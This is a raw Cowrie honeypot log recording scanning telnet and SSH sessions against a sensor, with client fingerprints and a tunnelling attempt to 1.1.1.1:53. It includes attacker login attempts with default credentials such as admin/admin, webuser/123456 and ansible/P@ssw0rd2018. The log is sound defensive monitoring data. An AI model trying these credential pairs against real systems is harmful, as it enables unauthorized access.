{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47220,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba4a7d41cf8","protocol":"telnet","message":"New connection: 209.126.87.217:47220 (159.203.135.109:23) [session: fba4a7d41cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:53.641119Z"}
{"eventid":"cowrie.session.closed","duration":31.04505729675293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:53.714071Z","src_ip":"108.179.216.206","session":"e43bc57a4d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47232,"dst_ip":"159.203.135.109","dst_port":23,"session":"29062c4b1a54","protocol":"telnet","message":"New connection: 209.126.87.217:47232 (159.203.135.109:23) [session: 29062c4b1a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:53.881301Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47236,"dst_ip":"159.203.135.109","dst_port":23,"session":"1675f9582bf9","protocol":"telnet","message":"New connection: 209.126.87.217:47236 (159.203.135.109:23) [session: 1675f9582bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:54.061596Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc2ad5e1f52","protocol":"telnet","message":"New connection: 108.179.216.206:35664 (10.17.0.5:23) [session: abc2ad5e1f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:55.036344Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47252,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f9d2a1ae37","protocol":"telnet","message":"New connection: 209.126.87.217:47252 (159.203.135.109:23) [session: 71f9d2a1ae37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:55.663385Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"11bd40e3776e","protocol":"telnet","message":"New connection: 108.179.216.206:36568 (10.17.0.5:23) [session: 11bd40e3776e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:55.913769Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc4b6decf699","protocol":"telnet","message":"New connection: 108.179.216.206:33700 (10.17.0.5:23) [session: cc4b6decf699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:56.206567Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ecc5b62506a","protocol":"telnet","message":"New connection: 209.126.87.217:47258 (159.203.135.109:23) [session: 3ecc5b62506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:56.837629Z"}
{"eventid":"cowrie.session.closed","duration":32.352750301361084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:59.176006Z","src_ip":"209.126.87.217","session":"db3f34ddb483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539966583251953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:00.111038Z","src_ip":"108.179.216.206","session":"82f3e0eb53ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722856760025024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:01.291628Z","src_ip":"108.179.216.206","session":"7f755e822fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9954776763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:01.485996Z","src_ip":"108.179.216.206","session":"892244bd33bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.422970294952393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:01.715850Z","src_ip":"108.179.216.206","session":"f6af6cc2ed80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30112099647522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:01.894368Z","src_ip":"209.126.87.217","session":"5b9fae48abba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343099117279053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:01.981797Z","src_ip":"108.179.216.206","session":"aad12551ee9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"7770d48c725a","protocol":"telnet","message":"New connection: 209.126.87.217:41556 (159.203.135.109:23) [session: 7770d48c725a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:02.693997Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40286,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e311c166238","protocol":"telnet","message":"New connection: 108.179.216.206:40286 (10.17.0.5:23) [session: 5e311c166238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:03.511662Z"}
{"eventid":"cowrie.session.closed","duration":30.72555184364319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:03.628689Z","src_ip":"108.179.216.206","session":"69f0602feae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a88f6e0bab","protocol":"telnet","message":"New connection: 108.179.216.206:45082 (10.17.0.5:23) [session: b6a88f6e0bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:04.160416Z"}
{"eventid":"cowrie.session.closed","duration":30.837336778640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:05.208353Z","src_ip":"108.179.216.206","session":"b932275de341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29880,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eed6635186e","protocol":"ssh","message":"New connection: 87.251.64.176:29880 (10.17.0.5:22) [session: 1eed6635186e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:05.678928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:05.683941Z","src_ip":"87.251.64.176","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:05.782052Z","src_ip":"87.251.64.176","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:06.075322Z","src_ip":"87.251.64.176","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:06.184961Z","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:06.286057Z","src_ip":"87.251.64.176","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:06.388781Z","src_ip":"87.251.64.176","session":"1eed6635186e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32901430130005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:06.583704Z","src_ip":"108.179.216.206","session":"9845aaa9549d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":41408,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b779bc9b60","protocol":"ssh","message":"New connection: 45.43.86.48:41408 (10.17.0.5:22) [session: 92b779bc9b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:07.727072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:07.733265Z","src_ip":"45.43.86.48","session":"92b779bc9b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:07.818422Z","src_ip":"45.43.86.48","session":"92b779bc9b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.991500854492188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:07.824787Z","src_ip":"108.179.216.206","session":"0672c7c2d5f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:08.189424Z","src_ip":"45.43.86.48","session":"92b779bc9b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:09.273941Z","src_ip":"45.43.86.48","session":"92b779bc9b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52571487426758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:09.851832Z","src_ip":"209.126.87.217","session":"4c7dad05f90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597457885742188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:10.333540Z","src_ip":"108.179.216.206","session":"647f3ef98d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53272,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fbfc57d9d93","protocol":"telnet","message":"New connection: 108.179.216.206:53272 (10.17.0.5:23) [session: 4fbfc57d9d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:12.969460Z"}
{"eventid":"cowrie.session.closed","duration":35.30873656272888,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:13.046434Z","src_ip":"209.126.87.217","session":"d0935115f940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.95164608955383,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:13.563808Z","src_ip":"209.126.87.217","session":"f94b00550a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.24182200431824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:13.906568Z","src_ip":"209.126.87.217","session":"63578180fac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55756,"dst_ip":"10.17.0.5","dst_port":23,"session":"6450befe35b7","protocol":"telnet","message":"New connection: 139.162.207.207:55756 (10.17.0.5:23) [session: 6450befe35b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:13.935738Z"}
{"eventid":"cowrie.session.closed","duration":30.312397241592407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.210413Z","src_ip":"108.179.216.206","session":"c7204b63476c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34610,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f97a93e046d","protocol":"ssh","message":"New connection: 159.203.92.129:34610 (159.203.135.109:22) [session: 6f97a93e046d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.537743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.547335Z","src_ip":"159.203.92.129","session":"6f97a93e046d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.551197Z","src_ip":"159.203.92.129","session":"6f97a93e046d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"P@ssw0rd2018","message":"login attempt [ansible/P@ssw0rd2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.672332Z","src_ip":"159.203.92.129","session":"6f97a93e046d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.556790351867676,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:14.722514Z","src_ip":"209.126.87.217","session":"a48074d89c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:15.684136Z","src_ip":"159.203.92.129","session":"6f97a93e046d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.54421854019165,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:15.902921Z","src_ip":"209.126.87.217","session":"0c13b44d0132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.681679487228394,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:18.985779Z","src_ip":"209.126.87.217","session":"1e3a874328b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78424549102783,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:19.143025Z","src_ip":"209.126.87.217","session":"1eb6f5312aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d32b148e199","protocol":"telnet","message":"New connection: 139.162.207.207:39882 (10.17.0.5:23) [session: 6d32b148e199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:21.354833Z"}
{"eventid":"cowrie.session.closed","duration":31.160506010055542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:21.825040Z","src_ip":"108.179.216.206","session":"f52352c69158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":43240,"dst_ip":"159.203.135.109","dst_port":22,"session":"fec124507b9c","protocol":"ssh","message":"New connection: 171.244.141.86:43240 (159.203.135.109:22) [session: fec124507b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:21.956372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:21.961627Z","src_ip":"171.244.141.86","session":"fec124507b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d9a8ab8ef0","protocol":"telnet","message":"New connection: 139.162.207.207:39890 (10.17.0.5:23) [session: f0d9a8ab8ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:22.171260Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:22.210763Z","src_ip":"171.244.141.86","session":"fec124507b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39898,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b48d67b9dc2","protocol":"telnet","message":"New connection: 139.162.207.207:39898 (10.17.0.5:23) [session: 4b48d67b9dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:23.136954Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39912,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba20ec4a8160","protocol":"telnet","message":"New connection: 139.162.207.207:39912 (10.17.0.5:23) [session: ba20ec4a8160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:23.185024Z"}
